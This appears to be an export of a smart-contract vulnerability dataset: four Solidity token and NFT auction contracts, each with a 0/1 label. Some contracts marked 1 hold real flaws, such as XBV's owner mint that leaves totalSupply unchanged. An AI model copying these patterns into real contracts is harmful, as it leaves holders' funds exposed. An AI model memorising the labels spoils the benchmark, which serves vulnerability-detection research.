source_codes
stringlengths
72
205k
labels
int64
0
1
__index_level_0__
int64
0
5.56k
pragma solidity 0.4.25; library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); event FrozenFunds(address target, uint tokens); event Buy(address indexed sender, uint eth, uint token); } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public onlyOwner { emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract Pausable is Owned { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract GTEX is ERC20Interface, Pausable { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) public balances; mapping(address => uint) public lockInfo; mapping(address => mapping(address => uint)) internal allowed; mapping (address => bool) public admins; modifier onlyAdmin { require(msg.sender == owner || admins[msg.sender]); _; } function setAdmin(address _admin, bool isAdmin) public onlyOwner { admins[_admin] = isAdmin; } constructor() public{ symbol = 'GTEX'; name = 'GTEX Token'; decimals = 18; _totalSupply = 4000000000*10**uint(decimals); balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(_value != 0); require(balances[_from] >= _value); require(balances[_from] - _value >= lockInfo[_from]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(_from, _to, _value); } function transfer(address to, uint tokens) public whenNotPaused returns (bool success) { _transfer(msg.sender, to, tokens); return true; } function approve(address _spender, uint tokens) public whenNotPaused returns (bool success) { allowed[msg.sender][_spender] = tokens; emit Approval(msg.sender, _spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public whenNotPaused returns (bool success) { require(allowed[from][msg.sender] >= tokens); _transfer(from, to, tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); return true; } function allowance(address tokenOwner, address spender) public whenNotPaused view returns (uint remaining) { return allowed[tokenOwner][spender]; } function lockOf(address tokenOwner) public view returns (uint lockedToken) { return lockInfo[tokenOwner]; } function lock(address target, uint lockedToken) public whenNotPaused onlyAdmin { lockInfo[target] = lockedToken; emit FrozenFunds(target, lockedToken); } function batchLockArray(address[] accounts, uint[] lockedToken) public whenNotPaused onlyAdmin { for (uint i = 0; i < accounts.length; i++) { lock(accounts[i], lockedToken[i]); } } function sendTokensWithLock (address receiver, uint tokens, bool freeze) public whenNotPaused onlyAdmin { _transfer(msg.sender, receiver, tokens); if(freeze) { uint lockedAmount = lockInfo[receiver] + tokens; lock(receiver, lockedAmount); } } function batchVipWithLock(address[] receivers, uint[] tokens, bool freeze) public whenNotPaused onlyAdmin { for (uint i = 0; i < receivers.length; i++) { sendTokensWithLock(receivers[i], tokens[i], freeze); } } function sendInitialTokens (address user) public onlyOwner { _transfer(msg.sender, user, balanceOf(owner)); } }
0
2,332
pragma solidity ^ 0.4.25; contract ERC223ReceivingContract { function tokenFallback(address _from, uint _value, bytes _data); } contract tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData); } library SafeMath { function mul(uint256 a, uint256 b) internal constant returns(uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns(uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal constant returns(uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns(uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20 { function transfer(address to, uint value) returns(bool ok); function transferFrom(address from, address to, uint value) returns(bool ok); function approve(address spender, uint value) returns(bool ok); function allowance(address owner, address spender) constant returns(uint); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract XBV is ERC20 { using SafeMath for uint256; string public standard = 'XBV 4.0'; string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; uint256 public initialSupply; bool initialize; address public owner; mapping( address => uint256) public balanceOf; mapping( address => mapping(address => uint256)) public allowance; mapping( address => bool ) public accountFrozen; mapping( uint256 => address ) public addressesFrozen; uint256 public frozenAddresses; event Transfer(address indexed from, address indexed to, uint256 value); event Transfer(address indexed from, address indexed to, uint value, bytes data); event Approval(address indexed owner, address indexed spender, uint value); event Burn(address indexed from, uint256 value); modifier onlyOwner() { require(msg.sender == owner); _; } function XBV() { uint256 _initialSupply = 100000000000000000000000000; uint8 decimalUnits = 18; balanceOf[msg.sender] = _initialSupply; totalSupply = _initialSupply; initialSupply = _initialSupply; name = "XBV"; symbol = "XBV"; decimals = decimalUnits; owner = msg.sender; } function changeOwner ( address _owner ) onlyOwner { owner = _owner; } function transfer( address _to, uint256 _value ) returns(bool ok) { require ( accountFrozen[ msg.sender ] == false ); if (_to == 0x0) throw; if (balanceOf[msg.sender] < _value) throw; bytes memory empty; balanceOf[msg.sender] = balanceOf[msg.sender].sub( _value ); balanceOf[_to] = balanceOf[_to].add( _value ); if(isContract( _to )) { ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.tokenFallback(msg.sender, _value, empty); } Transfer(msg.sender, _to, _value); return true; } function transfer( address _to, uint256 _value, bytes _data ) returns(bool ok) { require ( accountFrozen[ msg.sender ] == false ); if (_to == 0x0) throw; if (balanceOf[msg.sender] < _value) throw; bytes memory empty; balanceOf[msg.sender] = balanceOf[msg.sender].sub( _value ); balanceOf[_to] = balanceOf[_to].add( _value ); if(isContract( _to )) { ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.tokenFallback(msg.sender, _value, _data); } Transfer(msg.sender, _to, _value, _data); return true; } function isContract( address _to ) internal returns ( bool ){ uint codeLength = 0; assembly { codeLength := extcodesize(_to) } if(codeLength>0) { return true; } return false; } function approve(address _spender, uint256 _value) returns(bool success) { allowance[msg.sender][_spender] = _value; Approval( msg.sender ,_spender, _value); return true; } function approveAndCall( address _spender, uint256 _value, bytes _extraData ) returns(bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function allowance(address _owner, address _spender) constant returns(uint256 remaining) { return allowance[_owner][_spender]; } function transferFrom(address _from, address _to, uint256 _value) returns(bool success) { if (_from == 0x0) throw; if (balanceOf[_from] < _value) throw; if (balanceOf[_to] + _value < balanceOf[_to]) throw; if (_value > allowance[_from][msg.sender]) throw; balanceOf[_from] = balanceOf[_from].sub( _value ); balanceOf[_to] = balanceOf[_to].add( _value ); allowance[_from][msg.sender] = allowance[_from][msg.sender].sub( _value ); Transfer(_from, _to, _value); return true; } function burn(uint256 _value) returns(bool success) { if (balanceOf[msg.sender] < _value) throw; balanceOf[msg.sender] = balanceOf[msg.sender].sub( _value ); totalSupply = totalSupply.sub( _value ); Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) returns(bool success) { if (_from == 0x0) throw; if (balanceOf[_from] < _value) throw; if (_value > allowance[_from][msg.sender]) throw; balanceOf[_from] = balanceOf[_from].sub( _value ); allowance[_from][msg.sender] = allowance[_from][msg.sender].sub( _value ); totalSupply = totalSupply.sub( _value ); Burn(_from, _value); return true; } function mintXBV ( uint256 _amount ) onlyOwner { assert ( _amount > 0 ); uint256 tokens = _amount *(10**18); balanceOf[msg.sender] = balanceOf[msg.sender].add( tokens ); } function freezeAccount ( address _address ) onlyOwner { frozenAddresses++; accountFrozen [ _address ] = true; addressesFrozen[ frozenAddresses ] = _address; } function unfreezeAccount ( address _address ) onlyOwner { accountFrozen [ _address ] = false; } }
1
2,717
pragma solidity ^0.4.14; contract Ownable { address public owner; function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } contract ERC721 { function approve(address _to, uint256 _tokenId) external; function transfer(address _to, uint256 _tokenId) external; function transferFrom(address _from, address _to, uint256 _tokenId) external; function ownerOf(uint256 _tokenId) external view returns (address owner); function supportsInterface(bytes4 _interfaceID) external view returns (bool); function totalSupply() public view returns (uint256 total); function balanceOf(address _owner) public view returns (uint256 balance); event Transfer(address from, address to, uint256 tokenId); event Approval(address owner, address approved, uint256 tokenId); } contract ERC721Metadata { function getMetadata(uint256 _tokenId, string) public pure returns (bytes32[4] buffer, uint256 count) { if (_tokenId == 1) { buffer[0] = "Hello World! :D"; count = 15; } else if (_tokenId == 2) { buffer[0] = "I would definitely choose a medi"; buffer[1] = "um length string."; count = 49; } else if (_tokenId == 3) { buffer[0] = "Lorem ipsum dolor sit amet, mi e"; buffer[1] = "st accumsan dapibus augue lorem,"; buffer[2] = " tristique vestibulum id, libero"; buffer[3] = " suscipit varius sapien aliquam."; count = 128; } } } contract ClockAuctionBase { struct Auction { address seller; uint128 startingPrice; uint128 endingPrice; uint64 duration; uint64 startedAt; } ERC721 public nonFungibleContract; uint256 public ownerCut; mapping (uint256 => Auction) internal tokenIdToAuction; event AuctionCreated(uint256 tokenId, uint256 startingPrice, uint256 endingPrice, uint256 duration, uint256 startedAt); event AuctionSuccessful(uint256 tokenId, uint256 totalPrice, address winner); event AuctionCancelled(uint256 tokenId); function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) { return (nonFungibleContract.ownerOf(_tokenId) == _claimant); } function _escrow(address _owner, uint256 _tokenId) internal { nonFungibleContract.transferFrom(_owner, this, _tokenId); } function _transfer(address _receiver, uint256 _tokenId) internal { nonFungibleContract.transfer(_receiver, _tokenId); } function _addAuction(uint256 _tokenId, Auction _auction) internal { require(_auction.duration >= 1 minutes); tokenIdToAuction[_tokenId] = _auction; AuctionCreated( uint256(_tokenId), uint256(_auction.startingPrice), uint256(_auction.endingPrice), uint256(_auction.duration), uint256(_auction.startedAt) ); } function _cancelAuction(uint256 _tokenId, address _seller) internal { _removeAuction(_tokenId); _transfer(_seller, _tokenId); AuctionCancelled(_tokenId); } function _bid(uint256 _tokenId, uint256 _bidAmount) internal returns (uint256) { Auction storage auction = tokenIdToAuction[_tokenId]; require(_isOnAuction(auction)); uint256 price = _currentPrice(auction); require(_bidAmount >= price); address seller = auction.seller; _removeAuction(_tokenId); if (price > 0) { uint256 auctioneerCut = _computeCut(price); uint256 sellerProceeds = price - auctioneerCut; seller.transfer(sellerProceeds); } uint256 bidExcess = _bidAmount - price; msg.sender.transfer(bidExcess); AuctionSuccessful(_tokenId, price, msg.sender); return price; } function _removeAuction(uint256 _tokenId) internal { delete tokenIdToAuction[_tokenId]; } function _isOnAuction(Auction storage _auction) internal view returns (bool) { return (_auction.startedAt > 0); } function _currentPrice(Auction storage _auction) internal view returns (uint256) { uint256 secondsPassed = 0; if (now > _auction.startedAt) { secondsPassed = now - _auction.startedAt; } return _computeCurrentPrice( _auction.startingPrice, _auction.endingPrice, _auction.duration, secondsPassed ); } function _computeCurrentPrice( uint256 _startingPrice, uint256 _endingPrice, uint256 _duration, uint256 _secondsPassed ) internal pure returns (uint256) { if (_secondsPassed >= _duration) { return _endingPrice; } else { int256 totalPriceChange = int256(_endingPrice) - int256(_startingPrice); int256 currentPriceChange = totalPriceChange * int256(_secondsPassed) / int256(_duration); int256 currentPrice = int256(_startingPrice) + currentPriceChange; return uint256(currentPrice); } } function _computeCut(uint256 _price) internal view returns (uint256) { return _price * ownerCut / 10000; } } contract ClockAuction is Ownable, ClockAuctionBase { bytes4 public constant INTERFACE_SIGNATURE_ERC721 = bytes4(0x9a20483d); function ClockAuction(address _nftAddress, uint256 _cut) public { require(_cut <= 10000); ownerCut = _cut; ERC721 candidateContract = ERC721(_nftAddress); require(candidateContract.supportsInterface(INTERFACE_SIGNATURE_ERC721)); nonFungibleContract = candidateContract; } function withdrawBalance() external { address nftAddress = address(nonFungibleContract); require( msg.sender == owner || msg.sender == nftAddress ); bool res = nftAddress.send(this.balance); } function createAuction( uint256 _tokenId, uint256 _startingPrice, uint256 _endingPrice, uint256 _duration, address _seller ) external { require(_startingPrice == uint256(uint128(_startingPrice))); require(_endingPrice == uint256(uint128(_endingPrice))); require(_duration == uint256(uint64(_duration))); require(_owns(msg.sender, _tokenId)); _escrow(msg.sender, _tokenId); Auction memory auction = Auction( _seller, uint128(_startingPrice), uint128(_endingPrice), uint64(_duration), uint64(now) ); _addAuction(_tokenId, auction); } function bid(uint256 _tokenId) external payable { _bid(_tokenId, msg.value); _transfer(msg.sender, _tokenId); } function cancelAuction(uint256 _tokenId) external { Auction storage auction = tokenIdToAuction[_tokenId]; require(_isOnAuction(auction)); address seller = auction.seller; require(msg.sender == seller); _cancelAuction(_tokenId, seller); } function getAuction(uint256 _tokenId) external view returns ( address seller, uint256 startingPrice, uint256 endingPrice, uint256 duration, uint256 startedAt ) { Auction storage auction = tokenIdToAuction[_tokenId]; require(_isOnAuction(auction)); return ( auction.seller, auction.startingPrice, auction.endingPrice, auction.duration, auction.startedAt ); } function getCurrentPrice(uint256 _tokenId) external view returns (uint256) { Auction storage auction = tokenIdToAuction[_tokenId]; require(_isOnAuction(auction)); return _currentPrice(auction); } } contract SaleClockAuction is ClockAuction { bool public isSaleClockAuction = true; uint256 public artworkSaleCount; uint256[5] public lastArtworkSalePrices; uint256 internal value; function SaleClockAuction(address _nftAddr, uint256 _cut) public ClockAuction(_nftAddr, _cut) {} function createAuction( uint256 _tokenId, uint256 _startingPrice, uint256 _endingPrice, uint256 _duration, address _seller ) external { require(_startingPrice == uint256(uint128(_startingPrice))); require(_endingPrice == uint256(uint128(_endingPrice))); require(_duration == uint256(uint64(_duration))); require(msg.sender == address(nonFungibleContract)); _escrow(_seller, _tokenId); Auction memory auction = Auction( _seller, uint128(_startingPrice), uint128(_endingPrice), uint64(_duration), uint64(now) ); _addAuction(_tokenId, auction); } function bid(uint256 _tokenId) external payable { address seller = tokenIdToAuction[_tokenId].seller; uint256 price = _bid(_tokenId, msg.value); _transfer(msg.sender, _tokenId); if (seller == address(nonFungibleContract)) { lastArtworkSalePrices[artworkSaleCount % 5] = price; value += price; artworkSaleCount++; } } function averageArtworkSalePrice() external view returns (uint256) { uint256 sum = 0; for (uint256 i = 0; i < 5; i++) { sum += lastArtworkSalePrices[i]; } return sum / 5; } function getValue() external view returns (uint256) { return value; } } contract ArtworkAccessControl { event ContractUpgrade(address newContract); address public ceoAddress; address public cfoAddress; address public cooAddress; bool public paused = false; modifier onlyCEO() { require(msg.sender == ceoAddress); _; } modifier onlyCFO() { require(msg.sender == cfoAddress); _; } modifier onlyCOO() { require(msg.sender == cooAddress); _; } modifier onlyCLevel() { require( msg.sender == cooAddress || msg.sender == ceoAddress || msg.sender == cfoAddress ); _; } function setCEO(address _newCEO) external onlyCEO { require(_newCEO != address(0)); ceoAddress = _newCEO; } function setCFO(address _newCFO) external onlyCEO { require(_newCFO != address(0)); cfoAddress = _newCFO; } function setCOO(address _newCOO) external onlyCEO { require(_newCOO != address(0)); cooAddress = _newCOO; } modifier whenNotPaused() { require(!paused); _; } modifier whenPaused { require(paused); _; } function unpause() public onlyCEO whenPaused { paused = false; } } contract ArtworkBase is ArtworkAccessControl { event Birth(address owner, uint256 artworkId, string name, string author, uint32 series); event Transfer(address from, address to, uint256 tokenId); struct Artwork { uint64 birthTime; string name; string author; uint32 series; } Artwork[] internal artworks; mapping (uint256 => address) public artworkIndexToOwner; mapping (address => uint256) internal ownershipTokenCount; mapping (uint256 => address) public artworkIndexToApproved; SaleClockAuction public saleAuction; function _transfer(address _from, address _to, uint256 _tokenId) internal { ownershipTokenCount[_to]++; artworkIndexToOwner[_tokenId] = _to; if (_from != address(0)) { ownershipTokenCount[_from]--; delete artworkIndexToApproved[_tokenId]; } Transfer(_from, _to, _tokenId); } uint64 internal birthTime; string internal author; string internal name; uint32 internal series; function _createArtwork(string _name, string _author, uint32 _series, address _owner ) internal returns (uint) { Artwork memory _artwork = Artwork({ birthTime: uint64(now), name: _name, author: _author, series: _series}); uint256 newArtworkId = artworks.push(_artwork) - 1; require(newArtworkId == uint256(uint32(newArtworkId))); Birth(_owner, newArtworkId, _artwork.name, _artwork.author, _series); _transfer(0, _owner, newArtworkId); return newArtworkId; } } contract ArtworkUnique { mapping (bytes32 => bool) internal uniqueArtworks; function getUniqueKey(string name, string author, uint32 _version) internal pure returns(bytes32) { string memory version = _uintToString(_version); string memory main = _strConcat(name, author, version, "$%)"); string memory lowercased = _toLower(main); return keccak256(lowercased); } function _toLower(string str) internal pure returns (string) { bytes memory bStr = bytes(str); bytes memory bLower = new bytes(bStr.length); for (uint i = 0; i < bStr.length; i++) { if ((bStr[i] >= 65) && (bStr[i] <= 90)) { bLower[i] = bytes1(int(bStr[i]) + 32); } else { bLower[i] = bStr[i]; } } return string(bLower); } function _strConcat(string _a, string _b, string _c, string _separator) internal pure returns (string) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_separator); bytes memory _bc = bytes(_b); bytes memory _bd = bytes(_separator); bytes memory _be = bytes(_c); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; for (i = 0; i < _be.length; i++) babcde[k++] = _be[i]; return string(babcde); } function _uintToString(uint v) internal pure returns (string) { bytes32 data = _uintToBytes(v); return _bytes32ToString(data); } function _uintToBytes(uint v) private pure returns (bytes32 ret) { if (v == 0) { ret = "0"; } else { while (v > 0) { ret = bytes32(uint(ret) / (2 ** 8)); ret |= bytes32(((v % 10) + 48) * 2 ** (8 * 31)); v /= 10; } } return ret; } function _bytes32ToString(bytes32 x) private pure returns (string) { bytes memory bytesString = new bytes(32); uint charCount = 0; for (uint j = 0; j < 32; j++) { byte char = byte(bytes32(uint(x) * 2 ** (8 * j))); if (char != 0) { bytesString[charCount] = char; charCount++; } } bytes memory bytesStringTrimmed = new bytes(charCount); for (j = 0; j < charCount; j++) { bytesStringTrimmed[j] = bytesString[j]; } return string(bytesStringTrimmed); } } contract ArtworkOwnership is ArtworkBase, ArtworkUnique, ERC721 { string public constant NAME = "CryptoArtworks"; string public constant SYMBOL = "CA"; ERC721Metadata public erc721Metadata; bytes4 private constant INTERFACE_SIGNATURE_ERC165 = bytes4(keccak256("supportsInterface(bytes4)")); bytes4 private constant INTERFACE_SIGNATURE_ERC721 = bytes4(keccak256("name()")) ^ bytes4(keccak256("symbol()")) ^ bytes4(keccak256("totalSupply()")) ^ bytes4(keccak256("balanceOf(address)")) ^ bytes4(keccak256("ownerOf(uint256)")) ^ bytes4(keccak256("approve(address,uint256)")) ^ bytes4(keccak256("transfer(address,uint256)")) ^ bytes4(keccak256("transferFrom(address,address,uint256)")) ^ bytes4(keccak256("tokensOfOwner(address)")) ^ bytes4(keccak256("tokenMetadata(uint256,string)")); function approve( address _to, uint256 _tokenId ) external whenNotPaused { require(_owns(msg.sender, _tokenId)); _approve(_tokenId, _to); Approval(msg.sender, _to, _tokenId); } function transferFrom( address _from, address _to, uint256 _tokenId ) external whenNotPaused { require(_to != address(0)); require(_to != address(this)); require(_approvedFor(msg.sender, _tokenId)); require(_owns(_from, _tokenId)); _transfer(_from, _to, _tokenId); } function transfer(address _to, uint256 _tokenId) external whenNotPaused { require(_to != address(0)); require(_to != address(this)); require(_to != address(saleAuction)); require(_owns(msg.sender, _tokenId)); _transfer(msg.sender, _to, _tokenId); } function tokensOfOwner(address _owner) external view returns(uint256[] ownerTokens) { uint256 tokenCount = balanceOf(_owner); if (tokenCount == 0) { return new uint256[](0); } else { uint256[] memory result = new uint256[](tokenCount); uint256 totalArts = totalSupply(); uint256 resultIndex = 0; uint256 artworkId; for (artworkId = 1; artworkId <= totalArts; artworkId++) { if (artworkIndexToOwner[artworkId] == _owner) { result[resultIndex] = artworkId; resultIndex++; } } return result; } } function supportsInterface(bytes4 _interfaceID) external view returns (bool) { return ((_interfaceID == INTERFACE_SIGNATURE_ERC165) || (_interfaceID == INTERFACE_SIGNATURE_ERC721)); } function tokenMetadata(uint256 _tokenId, string _preferredTransport) external view returns (string infoUrl) { require(erc721Metadata != address(0)); bytes32[4] memory buffer; uint256 count; (buffer, count) = erc721Metadata.getMetadata(_tokenId, _preferredTransport); return _toString(buffer, count); } function ownerOf(uint256 _tokenId) external view returns (address owner) { owner = artworkIndexToOwner[_tokenId]; require(owner != address(0)); } function setMetadataAddress(address _contractAddress) public onlyCEO { erc721Metadata = ERC721Metadata(_contractAddress); } function totalSupply() public view returns (uint) { return artworks.length - 1; } function balanceOf(address _owner) public view returns (uint256 count) { return ownershipTokenCount[_owner]; } function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) { return artworkIndexToOwner[_tokenId] == _claimant; } function _approvedFor(address _claimant, uint256 _tokenId) internal view returns (bool) { return artworkIndexToApproved[_tokenId] == _claimant; } function _approve(uint256 _tokenId, address _approved) internal { artworkIndexToApproved[_tokenId] = _approved; } function _memcpy(uint _dest, uint _src, uint _len) private view { for (; _len >= 32; _len -= 32) { assembly { mstore(_dest, mload(_src)) } _dest += 32; _src += 32; } uint256 mask = 256 ** (32 - _len) - 1; assembly { let srcpart := and(mload(_src), not(mask)) let destpart := and(mload(_dest), mask) mstore(_dest, or(destpart, srcpart)) } } function _toString(bytes32[4] _rawBytes, uint256 _stringLength) private view returns (string) { var outputString = new string(_stringLength); uint256 outputPtr; uint256 bytesPtr; assembly { outputPtr := add(outputString, 32) bytesPtr := _rawBytes } _memcpy(outputPtr, bytesPtr, _stringLength); return outputString; } } contract ArtworkAuction is ArtworkOwnership { function setSaleAuctionAddress(address _address) external onlyCEO { SaleClockAuction candidateContract = SaleClockAuction(_address); require(candidateContract.isSaleClockAuction()); saleAuction = candidateContract; } function createSaleAuction( uint256 _artworkId, uint256 _startingPrice, uint256 _endingPrice, uint256 _duration ) external whenNotPaused { require(_owns(msg.sender, _artworkId)); _approve(_artworkId, saleAuction); saleAuction.createAuction( _artworkId, _startingPrice, _endingPrice, _duration, msg.sender ); } function withdrawAuctionBalances() external onlyCLevel { saleAuction.withdrawBalance(); } } contract ArtworkMinting is ArtworkAuction { uint256 public constant PROMO_CREATION_LIMIT = 5000; uint256 public constant CREATION_LIMIT = 450000; uint256 public constant ARTWORK_STARTING_PRICE = 10 finney; uint256 public constant ARTWORK_AUCTION_DURATION = 1 days; uint256 public promoCreatedCount; uint256 public artsCreatedCount; function createPromoArtwork(string _name, string _author, uint32 _series, address _owner) external onlyCOO { bytes32 uniqueKey = getUniqueKey(_name, _author, _series); (require(!uniqueArtworks[uniqueKey])); if (_series != 0) { bytes32 uniqueKeyForZero = getUniqueKey(_name, _author, 0); (require(!uniqueArtworks[uniqueKeyForZero])); } address artworkOwner = _owner; if (artworkOwner == address(0)) { artworkOwner = cooAddress; } require(promoCreatedCount < PROMO_CREATION_LIMIT); promoCreatedCount++; _createArtwork(_name, _author, _series, artworkOwner); uniqueArtworks[uniqueKey] = true; } function createArtworkAuction(string _name, string _author, uint32 _series) external onlyCOO { bytes32 uniqueKey = getUniqueKey(_name, _author, _series); (require(!uniqueArtworks[uniqueKey])); require(artsCreatedCount < CREATION_LIMIT); if (_series != 0) { bytes32 uniqueKeyForZero = getUniqueKey(_name, _author, 0); (require(!uniqueArtworks[uniqueKeyForZero])); } uint256 artworkId = _createArtwork(_name, _author, _series, address(this)); _approve(artworkId, saleAuction); uint256 price = _computeNextArtworkPrice(); saleAuction.createAuction( artworkId, price, 0, ARTWORK_AUCTION_DURATION, address(this) ); artsCreatedCount++; uniqueArtworks[uniqueKey] = true; } function _computeNextArtworkPrice() internal view returns (uint256) { uint256 avePrice = saleAuction.averageArtworkSalePrice(); require(avePrice == uint256(uint128(avePrice))); uint256 nextPrice = avePrice + (avePrice / 2); if (nextPrice < ARTWORK_STARTING_PRICE) { nextPrice = ARTWORK_STARTING_PRICE; } return nextPrice; } } contract ArtworkQuestions is ArtworkMinting { string private constant QUESTION = "What is the value? Nothing is "; string public constant MAIN_QUESTION = "What is a masterpiece? "; function getQuestion() public view returns (string) { uint256 value = saleAuction.getValue(); string memory auctionValue = _uintToString(value); return _strConcat(QUESTION, auctionValue, "", ""); } } contract ArtworkCore is ArtworkQuestions { address public newContractAddress; function ArtworkCore() public { paused = true; ceoAddress = msg.sender; cooAddress = msg.sender; _createArtwork("none", "none", 0, address(0)); } function() external payable { require( msg.sender == address(saleAuction) ); } function setNewAddress(address _v2Address) external onlyCEO whenPaused { newContractAddress = _v2Address; ContractUpgrade(_v2Address); } function withdrawBalance() external onlyCFO { uint256 balance = this.balance; cfoAddress.send(balance); } function getArtwork(uint256 _id) external view returns ( uint256 birthTime, string name, string author, uint32 series ) { Artwork storage art = artworks[_id]; birthTime = uint256(art.birthTime); name = string(art.name); author = string(art.author); series = uint32(art.series); } function unpause() public onlyCEO whenPaused { require(saleAuction != address(0)); require(newContractAddress == address(0)); super.unpause(); } }
0
2,079
pragma solidity ^0.4.24; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } } contract BasicToken is ERC20Basic, Ownable { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Daethereum is StandardToken { string public constant name = "Daethereum"; string public constant symbol = "DTHR"; uint32 public constant decimals = 8; uint256 public INITIAL_SUPPLY = 100000000 * 10 ** 8; constructor() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(0x0, msg.sender, INITIAL_SUPPLY); } }
1
3,389
